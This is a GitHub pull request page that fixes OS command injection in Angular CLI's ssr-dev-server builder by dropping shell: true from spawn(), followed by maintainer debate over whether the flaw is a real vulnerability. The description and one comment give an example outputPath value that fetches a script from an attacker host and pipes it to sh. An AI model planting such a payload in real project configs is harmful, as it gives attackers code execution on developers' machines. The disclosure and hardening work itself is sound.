Skip to content

fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479

Merged
alan-agius4 merged 1 commit into
angular:mainfrom
herdiyana256:fix/ssr-dev-server-shell-injection
Jun 29, 2026
Merged

fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479
alan-agius4 merged 1 commit into
angular:mainfrom
herdiyana256:fix/ssr-dev-server-shell-injection

Conversation

@herdiyana256

@herdiyana256 herdiyana256 commented Jun 27, 2026

Copy link
Copy Markdown
Contributor

spawnAsObservable() in utils.ts was building the shell command by concatenating command and args into a single string before passing it to spawn(). The call site in startNodeServer() (index.ts) was passing shell: true along with outputPath from the builder output embedded as "${path}" in the args array.

outputPath derives from the project's angular.json configuration. Because bash evaluates $() substitutions inside double-quoted strings, a value like dist/$(curl attacker.com/x.sh|sh) in angular.json causes the substitution to execute when ng serve is run — before Node.js is invoked.

Switching to the three-argument form of spawn(command, args, options) ensures arguments are passed directly to the OS via execve() without shell interpretation. The manual quoting around path and shell: true are no longer needed and have been removed.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request refactors how the Node server is spawned in the SSR dev server builder. It changes the spawning mechanism from running a concatenated command string in a shell to executing the command directly with an array of arguments, removing the need for manual path quoting and the shell option. There are no review comments, and I have no feedback to provide.

@herdiyana256

herdiyana256 commented Jun 28, 2026

Copy link
Copy Markdown
Contributor Author

Reopening this security fix. The VRP report was marked as duplicate
(Issue 528599695), meaning Google is already tracking this internally
which confirms the vulnerability is real and unpatched. This PR provides
the fix. Submitting also as a Patch Rewards Program contribution.

@herdiyana256 herdiyana256 reopened this Jun 28, 2026

@alan-agius4 alan-agius4 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We don't consider this a security vulnerability. If an attacker can manipulate angular.json, they already have the leverage to cause much worse damage. However, this is a good hardening opportunity.

@alan-agius4 alan-agius4 added target: patch This PR is targeted for the next patch release action: merge The PR is ready for merge by the caretaker merge: fix commit message When the PR is merged, rewrites/fixups of the commit messages are needed and removed action: merge The PR is ready for merge by the caretaker merge: fix commit message When the PR is merged, rewrites/fixups of the commit messages are needed labels Jun 29, 2026
…sr-dev-server builder

spawnAsObservable() was joining command and args into a single string
before passing to spawn(). In startNodeServer(), outputPath from angular.json
was embedded in args with manual shell quoting and shell: true.

Bash evaluates $() inside double-quoted strings, so a crafted outputPath
value in angular.json can trigger arbitrary command execution on ng serve.

Fix: pass command and args separately to spawn() so Node.js uses execve()
directly. Remove the manual quoting around path and drop shell: true.
@alan-agius4 alan-agius4 force-pushed the fix/ssr-dev-server-shell-injection branch from 8e2c1fe to 52f3d99 Compare June 29, 2026 07:28
@alan-agius4 alan-agius4 added the action: merge The PR is ready for merge by the caretaker label Jun 29, 2026
@herdiyana256

Copy link
Copy Markdown
Contributor Author

Thanks for the correction on process.execPath that's the right call.
Using the runtime's own executable path removes the shell PATH dependency entirely.

I want to briefly address the classification point, since it may matter for the VRP/PRP record.

The threat model here isn't "attacker who already has access to the developer's machine and edits angular.json." It's closer to a supply-chain scenario:

  1. Attacker publishes a public repo (tutorial, starter template, open-source project) with a crafted angular.json:
    "outputPath": "dist/$(curl https://attacker.com/payload.sh|sh)/server"
  2. Developer clones the repo — a completely normal workflow.
  3. Developer runs ng serve.
  4. startNodeServer() fires with the malicious outputPath → bash evaluates $()RCE on the developer's machine, no further interaction needed.

The attacker never touches the developer's machine directly. The precondition is only that the developer runs ng serve on a cloned project — which is indistinguishable from any legitimate use.

The key distinction from "they can already do worse via angular.json" is semantics:

  • A preinstall script in package.json is understood to run code developers expect to audit it.
  • outputPath is typed as a plain string in the schema. Developers have no reason to inspect it for shell metacharacters.

This makes it a CWE-78 (OS Command Injection) rather than a misconfiguration issue.
The fix is already merged — I'm raising this only to ensure the VRP/PRP classification reflects the actual attack surface. Appreciate the review and the hardening acknowledgment.

@alan-agius4

Copy link
Copy Markdown
Collaborator

Executing the ng command within a compromised repository is not considered a viable attack vector because Angular CLI tasks are inherently designed to run locally with full developer privileges. Because executing these commands already implies full control over the local development environment, malicious code execution within a compromised repository does not represent a breach of an established security boundary.

@alan-agius4 alan-agius4 merged commit 2d3eb7f into angular:main Jun 29, 2026
41 checks passed
@alan-agius4

Copy link
Copy Markdown
Collaborator

This PR was merged into the repository. The changes were merged into the following branches:

@herdiyana256

Copy link
Copy Markdown
Contributor Author

Understood . appreciate the context on the trust model. The fix is in and the codebase is better for it. Thanks for the review and for landing this across both branches.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

action: merge The PR is ready for merge by the caretaker area: @angular-devkit/build-angular target: patch This PR is targeted for the next patch release

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants